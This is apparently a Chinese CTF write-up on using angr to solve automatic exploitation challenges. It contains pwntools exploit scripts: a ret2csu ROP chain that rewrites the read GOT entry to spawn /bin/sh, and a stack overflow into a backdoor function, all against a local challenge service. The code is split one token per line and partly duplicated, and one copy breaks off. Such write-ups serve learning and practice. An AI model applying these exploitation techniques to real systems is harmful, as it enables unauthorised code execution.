这类利用angr去自动探测漏洞的题在很早以前就看到过,但是在CTF中不会直接给附件,而是nc连上后接收一段base64编码,再将其解码为二进制文件,每次得到的二进制文件并不是完全相同;如果不给出完整的docker文件(拥有几个接收到二进制文件也行),不然本地是很难复现的。
这里找的是三个拥有完整docker文件的题和一个可以提供两个二进制文件的题:
7d7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5N6h3q4%4k6h3W2U0N6r3k6Q4x3V1k6^5j5%4c8X3i4K6g2X3K9s2g2S2N6$3g2A6j5$3I4G2N6h3c8Q4x3X3c8I4N6h3q4D9K9h3k6A6k6i4u0Q4x3X3b7J5x3o6t1H3i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2K9h3&6Q4x3V1k6H3N6$3&6Q4x3V1k6Y4j5h3#2W2i4K6g2X3M7s2N6F1
250K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6b7y4r3&6V1j5e0m8K6i4K6u0r3b7$3S2W2j5$3E0u0L8W2)9#2k6Y4u0W2N6o6u0@1k6i4S2@1
43dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6#2N6r3W2K6M7%4y4Q4x3V1k6g2g2p5y4f1c8W2)9J5k6o6t1J5i4K6u0r3N6s2u0W2k6g2)9J5c8U0x3K6j5U0k6T1j5h3f1I4x3K6x3^5k6r3c8S2j5X3x3$3j5K6M7&6y4e0x3^5y4K6l9#2x3h3p5#2y4o6c8U0k6h3f1^5k6e0q4S2x3e0k6Q4x3V1k6H3N6$3&6Q4x3V1k6H3N6$3&6Q4x3X3c8S2k6h3M7J5
f38K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6U0M7$3y4G2M7%4g2Q4x3V1k6U0N6r3k6Q4x3X3c8%4M7X3W2@1k6i4g2H3M7#2)9J5c8Y4c8J5k6h3g2Q4x3V1j5^5k6o6M7^5z5o6f1@1y4U0q4U0y4K6x3@1j5e0x3H3x3K6g2U0j5h3y4U0y4$3f1%4x3K6W2U0z5e0m8U0x3h3u0U0y4K6V1I4x3r3p5K6i4K6u0r3x3U0l9J5x3g2)9J5c8Y4g2@1j5%4c8X3i4K6u0r3b7f1g2s2
题目一开始就直接发送base64编码,然后让我们输入一段数据,这里还不知道这串数据是什么,并且一段时间后就会关闭:
解码得到二进制文件后直接使用ida分析,主函数中将程序接收到的第一个参数转化为整数后作为sub_4006F9函数的的参数:
sub_4006F9函数中利用这个参数去通过一系列判断,如果满足这些约束就可以执行read函数去栈溢出:
继续接收多个文件,发现每个文件中sub_4006F9函数中的约束条件都是不同的;我们每次去分析这些约束肯定会浪费大量时间,在题目拥有时间限制的情况下完全不合适,这里就要用到angr去自动判断约束条件。
angr的用法可以直接参考这些文档:b35K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2j5h3&6Y4M7W2)9J5k6h3W2G2i4K6u0r3k6h3&6Q4x3V1k6D9j5i4c8W2M7%4c8Q4x3V1j5`. 、 f8fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5%4x3e0p5%4
最好先去拿angr ctf先去练手,加深理解:519K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6B7j5h3E0W2M7%4m8J5K9h3&6Y4k6i4u0Q4x3V1k6S2L8X3N6J5i4K6g2X3j5%4c8X3 、 fd3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7Y4c8@1L8X3u0S2x3#2)9J5k6h3y4F1i4K6u0r3x3U0l9J5x3W2)9J5c8U0p5I4i4K6u0r3x3U0c8Q4x3V1k6m8e0V1N6d9i4K6u0V1x3q4R3H3x3q4)9J5k6p5q4z5c8#2u0Q4y4h3k6o6g2p5k6Q4x3V1j5`.
需要判断约束的只有sub_4006F9函数,直接将其作为初始状态,而目标地址在read函数处,将rdi作为需要求解对象,很容易写出自动求解的脚本:
在不同的二进制文件中,除了start_addr相同,目标地址是不同的,并且没有符号表,只能通过特定的汇编机器码找到对应的地址。官方的wp是使用objdump命令去找,这里我直接使用pwntools去搜索,更加方便。
得到通过约束条件的整数后,可以知道最开始的输入就是这个整数,然后继续输入栈溢出;栈溢出后去ret2csu继续调用read函数去修改read函数got表的最后一字节,修改为指向syscall指令的地址,再调用atoi将rax赋值为0x3b,最后调用read函数,这时read函数got指向syscall指令,可以执行系统调用去getshell。
完整exp:
这题连上后需要爆破前四位数据与sha256加密后的数据对比,通过这个判断后可以得到二进制文件base64编码:
题目的主函数就是一堆判断,input_val函数是输入的数字,input_line函数是输入的字符串,fksth函数是比较字符串,题目给了后门函数,没有canary,很容易想到栈溢出后去调用backdoor函数:
造成溢出的输入函数肯定是input_line,第一个参数是写入地址,第二个参数是大小;主函数中有大量的input_line函数调用,而且第二个参数普遍不大,开始就直接找到靠近栈底的变量,找到其引用的input_line:
最后果然可以找到栈溢出:
不同的二进制文件中fksth函数比较的字符串是不同的,判断的数字也是不同的,这里依然是使用angr去求解约束。
出题人的wp已经很详细了,直接使用unconstrained state求解就得到一个完整的payload。自己复现时将proj.factory.entry_state()
修改为指定main函数的地址,但是却得不到正确的payload,不知道是不是unconstrained state求解的影响。
最后自己也采用传统的方法——直接找到可以发生栈溢出的地址,改写了一下。
完整exp:
题目存在格式化字符串,而得到flag的方式是控制exit的参数为指定值。输入字符串后通过permute函数加密,再由printf去执行:
跟据前面做题的经验很快就可以写出如下通过约束的代码:
但是这样直接去得到加密的字符串要花费将近两分钟,而这题限时60秒,这种方法是完全行不通的。
看完官方的wp才发现,permute中的这些加密函数并不是真正的加密,它们只是将初始字符的位置进行交换:
这里简述一下官方wp的思路:
其实我们只用关心初始字符串的顺序和最终字符串的顺序,字符串在permute1、permute2、permute3……这些函数中的变化是完全不用考虑的,最后改写代码如下:
这个直接几秒钟就可以得到最终的字符顺序表。
完整exp:
获得flag:
这道题网上只找到的两个二进制文件,没有完整的题目环境。
题目也很简单,栈溢出后控制到win函数执行exit函数,和上面题目方法一样。
通过约束的exp如下:
这里整理的四道题希望对各位师傅有帮助。
import
angr
import
claripy
binary_name
=
"a"
proj
=
angr.Project(binary_name)
start_addr
=
0x4006F9
init_state
=
proj.factory.blank_state(addr
=
start_addr)
num_bvs
=
claripy.BVS(
'num'
,
4
*
8
)
init_state.regs.rdi
=
num_bvs
simgr
=
proj.factory.simgr(init_state)
simgr.explore(find
=
find_addr)
if
simgr.found:
solution_state
=
simgr.found[
0
]
num
=
solution_state.solver.
eval
(num_bvs, cast_to
=
int
)
else
:
print
(
'Could not find the solution'
)
import
angr
import
claripy
binary_name
=
"a"
proj
=
angr.Project(binary_name)
start_addr
=
0x4006F9
init_state
=
proj.factory.blank_state(addr
=
start_addr)
num_bvs
=
claripy.BVS(
'num'
,
4
*
8
)
init_state.regs.rdi
=
num_bvs
simgr
=
proj.factory.simgr(init_state)
simgr.explore(find
=
find_addr)
if
simgr.found:
solution_state
=
simgr.found[
0
]
num
=
solution_state.solver.
eval
(num_bvs, cast_to
=
int
)
else
:
print
(
'Could not find the solution'
)
import
angr
import
claripy
from
pwn
import
*
import
base64
p
=
remote(
'127.0.0.1'
,
9999
)
p.recvline()
p.recvline()
bin_data
=
base64.b64decode(p.recvline().decode())
open
(
"b"
,
"wb"
).write(bin_data)
binary_name
=
"b"
elf
=
ELF(binary_name, checksec
=
False
)
context.arch
=
'amd64'
find_addr
=
elf.search(asm(
'mov rsi, rax'
)).__next__()
+
3
avoid_addr
=
find_addr
+
0x1b
avoid_addr1
=
find_addr
+
0x11
csu_addr1
=
elf.search(asm(
'add rsp, 8;pop rbx'
)).__next__()
+
4
csu_addr2
=
csu_addr1
-
0x1a
pop_rdi_ret
=
csu_addr1
+
9
pop_rsi_r15_ret
=
csu_addr1
+
7
proj
=
angr.Project(binary_name)
start_addr
=
0x4006F9
init_state
=
proj.factory.blank_state(addr
=
start_addr)
num_bvs
=
claripy.BVS(
'num'
,
4
*
8
)
init_state.regs.rdi
=
num_bvs
num
=
0
oversize
=
0
simgr
=
proj.factory.simgr(init_state)
simgr.explore(find
=
find_addr, avoid
=
avoid_addr)
if
simgr.found:
solution_state
=
simgr.found[
0
]
num
=
solution_state.solver.
eval
(num_bvs, cast_to
=
int
)
oversize
=
solution_state.solver.
eval
(solution_state.regs.rbp)
-
solution_state.solver.
eval
(solution_state.regs.rsi)
else
:
print
(
'Could not find the solution'
)
exit()
p.sendlineafter(b
':'
,
str
(num).encode())
payload
=
b
'a'
*
oversize
+
p64(
0
)
+
p64(csu_addr1)
payload
+
=
p64(
0
)
+
p64(
1
)
+
p64(elf.got[
'read'
])
+
p64(
0x11
)
+
p64(
0x601010
)
+
p64(
0
)
+
p64(csu_addr2)
payload
+
=
p64(
0
)
+
p64(
0
)
+
p64(
1
)
+
p64(elf.got[
'atoi'
])
+
p64(
0
)
+
p64(
0
)
+
p64(
0x601010
)
+
p64(csu_addr2)
payload
+
=
p64(
0
)
+
p64(
0
)
+
p64(
1
)
+
p64(elf.got[
'read'
])
+
p64(
0
)
+
p64(
0
)
+
p64(
0x601018
)
+
p64(csu_addr2)
p.send(payload)
sleep(
0.5
)
payload
=
b
'59'
+
b
'\x00'
*
6
+
b
'/bin/sh\x00'
+
b
'\x5e'
p.send(payload)
p.sendline(b
"cat flag"
)
flag
=
p.recvline()
print
(flag)
import
angr
import
claripy
from
pwn
import
*
import
base64
p
=
remote(
'127.0.0.1'
,
9999
)
p.recvline()
p.recvline()
bin_data
=
base64.b64decode(p.recvline().decode())
open
(
"b"
,
"wb"
).write(bin_data)
binary_name
=
"b"
elf
=
ELF(binary_name, checksec
=
False
)
context.arch
=
'amd64'
find_addr
=
elf.search(asm(
'mov rsi, rax'
)).__next__()
+
3
avoid_addr
=
find_addr
+
0x1b
avoid_addr1
=
find_addr
+
0x11
csu_addr1
=
elf.search(asm(
'add rsp, 8;pop rbx'
)).__next__()
+
4
csu_addr2
=
csu_addr1
-
0x1a
pop_rdi_ret
=
csu_addr1
+
9
pop_rsi_r15_ret
=
csu_addr1
+
7
proj
=
angr.Project(binary_name)
start_addr
=
0x4006F9
init_state
=
proj.factory.blank_state(addr
=
start_addr)
num_bvs
=
claripy.BVS(
'num'
,
4
*
8
)
init_state.regs.rdi
=
num_bvs
num
=
0
oversize
=
0
simgr
=
proj.factory.simgr(init_state)
simgr.explore(find
=
find_addr, avoid
=
avoid_addr)
if
simgr.found:
solution_state
=
simgr.found[
0
]
num
=
solution_state.solver.
eval
(num_bvs, cast_to
=
int
)
oversize
=
solution_state.solver.
eval
(solution_state.regs.rbp)
-
solution_state.solver.
eval
(solution_state.regs.rsi)
else
:
print
(
'Could not find the solution'
)
exit()
p.sendlineafter(b
':'
,
str
(num).encode())
payload
=
b
'a'
*
oversize
+
p64(
0
)
+
p64(csu_addr1)
payload
+
=
p64(
0
)
+
p64(
1
)
+
p64(elf.got[
'read'
])
+
p64(
0x11
)
+
p64(
0x601010
)
+
p64(
0
)
+
p64(csu_addr2)
payload
+
=
p64(
0
)
+
p64(
0
)
+
p64(
1
)
+
p64(elf.got[
'atoi'
])
+
p64(
0
)
+
p64(
0
)
+
p64(
0x601010
)
+
p64(csu_addr2)
payload
+
=
p64(
0
)
+
p64(
0
)
+
p64(
1
)
+
p64(elf.got[
'read'
])
+
p64(
0
)
+
p64(
0
)
+
p64(
0x601018
)
+
p64(csu_addr2)
p.send(payload)
sleep(
0.5
)
payload
=
b
'59'
+
b
'\x00'
*
6
+
b
'/bin/sh\x00'
+
b
'\x5e'
p.send(payload)
p.sendline(b
"cat flag"
)
flag
=
p.recvline()
print
(flag)
from
pwn
import
*
import
base64
import
hashlib
import
random
import
angr
import
claripy
def
pass_proof(salt,
hash
):
dir
=
string.ascii_letters
+
string.digits
while
True
:
rand_str
=
(''.join([random.choice(
dir
)
for
_
in
range
(
4
)])).encode()
+
salt
if
hashlib.sha256(rand_str).hexdigest()
=
=
hash
.decode() :
return
rand_str[:
4
]
p
=
remote(
'127.0.0.1'
,
9999
)
p.recvuntil(b
'sha256(xxxx + '
)
salt
=
p.recvuntil(b
')'
)[:
-
1
]
p.recvuntil(b
' == '
)
hash
=
p.recvuntil(b
'\n'
)[:
-
2
]
t
=
pass_proof(salt,
hash
)
p.sendlineafter(b
"give me xxxx:"
, t)
p.recvline()
bin_data
=
base64.b64decode(p.recvline().decode())
open
(
"a"
,
"wb"
).write(bin_data)
def
load_str(state, addr):
s, i
=
'',
0
while
True
:
ch
=
state.solver.
eval
(state.memory.load(addr
+
i,
1
))
if
ch
=
=
0
:
break
s
+
=
chr
(ch)
i
+
=
1
return
s
def
save_global_val(state, bvs,
type
):
name
=
"s_"
+
str
(state.
globals
[
'count'
])
state.
globals
[
'count'
]
+
=
1
state.
globals
[name]
=
(bvs,
type
)
class
replace_init(angr.SimProcedure):
def
run(
self
):
return
class
replace_input_line(angr.SimProcedure):
def
run(
self
, buf_addr, size):
size
=
self
.state.solver.
eval
(size)
buf_bvs
=
claripy.BVS(
"buf"
, size
*
8
)
save_global_val(
self
.state, buf_bvs,
"str"
)
self
.state.memory.store(buf_addr, buf_bvs)
class
replace_input_val(angr.SimProcedure):
def
run(
self
):
num_bvs
=
claripy.BVS(
"num"
,
4
*
8
)
save_global_val(
self
.state, num_bvs,
"int"
)
self
.state.regs.rax
=
num_bvs
class
replace_fksth(angr.SimProcedure):
def
run(
self
, str1_addr, str2_addr):
str2
=
load_str(
self
.state, str2_addr).encode()
str1
=
self
.state.memory.load(str1_addr,
len
(str2))
self
.state.regs.rax
=
claripy.If(str1
=
=
str2, claripy.BVV(
0
,
32
), claripy.BVV(
1
,
32
))
binary_name
=
"a"
proj
=
angr.Project(binary_name)
proj.hook_symbol(
"_Z4initv"
, replace_init())
proj.hook_symbol(
"_Z10input_linePcm"
, replace_input_line())
proj.hook_symbol(
"_Z9input_valv"
, replace_input_val())
proj.hook_symbol(
"_Z5fksthPKcS0_"
, replace_fksth())
symbol
=
proj.loader.find_symbol(
"main"
)
start_addr
=
symbol.rebased_addr
init_state
=
proj.factory.blank_state(addr
=
start_addr)
init_state.
globals
[
'count'
]
=
0
find_addr
=
proj.loader.find_symbol(
'_Z10input_linePcm'
).rebased_addr
def
success(state):
if
state.addr
=
=
find_addr:
reg_rbp
=
state.regs.rbp
reg_rdi
=
state.regs.rdi
reg_rsi
=
state.regs.rsi
add_addr
=
reg_rdi
+
reg_rsi
copied_state
=
state.copy()
copied_state.add_constraints(reg_rbp < add_addr)
if
copied_state.satisfiable():
state.add_constraints(reg_rbp < add_addr)
state.
globals
[
'overflow'
]
=
(state.solver.
eval
(reg_rbp)
-
state.solver.
eval
(reg_rdi), state.solver.
eval
(reg_rsi))
return
True
else
:
return
False
simgr
=
proj.factory.simgr(init_state)
simgr.explore(find
=
success)
if
simgr.found:
print
(
"find"
)
bindata
=
b''
solution_state
=
simgr.found[
0
]
for
i
in
range
(solution_state.
globals
[
'count'
]):
s, s_type
=
solution_state.
globals
[
's_'
+
str
(i)]
if
s_type
=
=
'str'
:
bb
=
solution_state.solver.
eval
(s, cast_to
=
bytes)
bindata
+
=
bb
elif
s_type
=
=
'int'
:
bindata
+
=
str
(solution_state.solver.
eval
(s, cast_to
=
int
)).encode()
+
b
' '
elf
=
ELF(binary_name, checksec
=
False
)
context.arch
=
'amd64'
ret
=
elf.search(asm(
'ret'
)).__next__()
m, n
=
solution_state.
globals
[
'overflow'
]
payload
=
b
'a'
*
m
+
p64(
0
)
+
p64(ret)
+
p64(elf.sym[
'_Z8backdoorv'
])
bindata
+
=
payload.ljust(n, b
'\x00'
)
p.send(bindata)
p.interactive()
else
:
print
(
'Could not find the solution'
)
from
pwn
import
*
import
base64
import
hashlib
import
random
import
angr
import
claripy
def
pass_proof(salt,
hash
):
dir
=
string.ascii_letters
+
string.digits
while
True
:
rand_str
=
(''.join([random.choice(
dir
)
for
_
in
range
(
4
)])).encode()
+
salt
if
hashlib.sha256(rand_str).hexdigest()
=
=
hash
.decode() :
return
rand_str[:
4
]
p
=
remote(
'127.0.0.1'
,
9999
)
p.recvuntil(b
'sha256(xxxx + '
)
salt
=
p.recvuntil(b
')'
)[:
-
1
]
p.recvuntil(b
' == '
)
hash
=
p.recvuntil(b
'\n'
)[:
-
2
]
t
=
pass_proof(salt,
hash
)
p.sendlineafter(b
"give me xxxx:"
, t)
p.recvline()
bin_data
=
base64.b64decode(p.recvline().decode())
open
(
"a"
,
"wb"
).write(bin_data)
def
load_str(state, addr):
s, i
=
'',
0
while
True
:
ch
=
state.solver.
eval
(state.memory.load(addr
+
i,
1
))
if
ch
=
=
0
:
break
s
+
=
chr
(ch)
i
+
=
1
return
s
def
save_global_val(state, bvs,
type
):
name
=
"s_"
+
str
(state.
globals
[
'count'
])
state.
globals
[
'count'
]
+
=
1
state.
globals
[name]
=
(bvs,
type
)
class
replace_init(angr.SimProcedure):
def
run(
self
):
return
class
replace_input_line(angr.SimProcedure):
def
run(
self
, buf_addr, size):
size
=
self
.state.solver.
eval
(size)
buf_bvs
=
claripy.BVS(
"buf"
, size
*
8
)
save_global_val(
self
.state, buf_bvs,
"str"
)
self
.state.memory.store(buf_addr, buf_bvs)
class
replace_input_val(angr.SimProcedure):
def
run(
self
):
num_bvs
=
claripy.BVS(
"num"
,
4
*
8
)
save_global_val(
self
.state, num_bvs,
"int"
)
self
.state.regs.rax
=
num_bvs
class
replace_fksth(angr.SimProcedure):
def
run(
self
, str1_addr, str2_addr):
str2
=
load_str(
self
.state, str2_addr).encode()
str1
=
self
.state.memory.load(str1_addr,
len
(str2))
self
.state.regs.rax
=
claripy.If(str1
=
=
str2, claripy.BVV(
0
,
32
), claripy.BVV(
1
,
32
))
binary_name
=
"a"
proj
=
angr.Project(binary_name)
proj.hook_symbol(
"_Z4initv"
, replace_init())
proj.hook_symbol(
"_Z10input_linePcm"
, replace_input_line())
proj.hook_symbol(
"_Z9input_valv"
, replace_input_val())
proj.hook_symbol(
"_Z5fksthPKcS0_"
, replace_fksth())
symbol
=
proj.loader.find_symbol(
"main"
)
start_addr
=
symbol.rebased_addr
init_state
=
proj.factory.blank_state(addr
=
start_addr)
init_state.
globals
[
'count'
]
=
0
find_addr
=
proj.loader.find_symbol(
'_Z10input_linePcm'
).rebased_addr
def
success(state):
if
state.addr
=
=
find_addr:
[注意]APP应用上架合规检测服务,协助应用顺利上架!
最后于 2023-9-23 00:50
被theshadow编辑
,原因: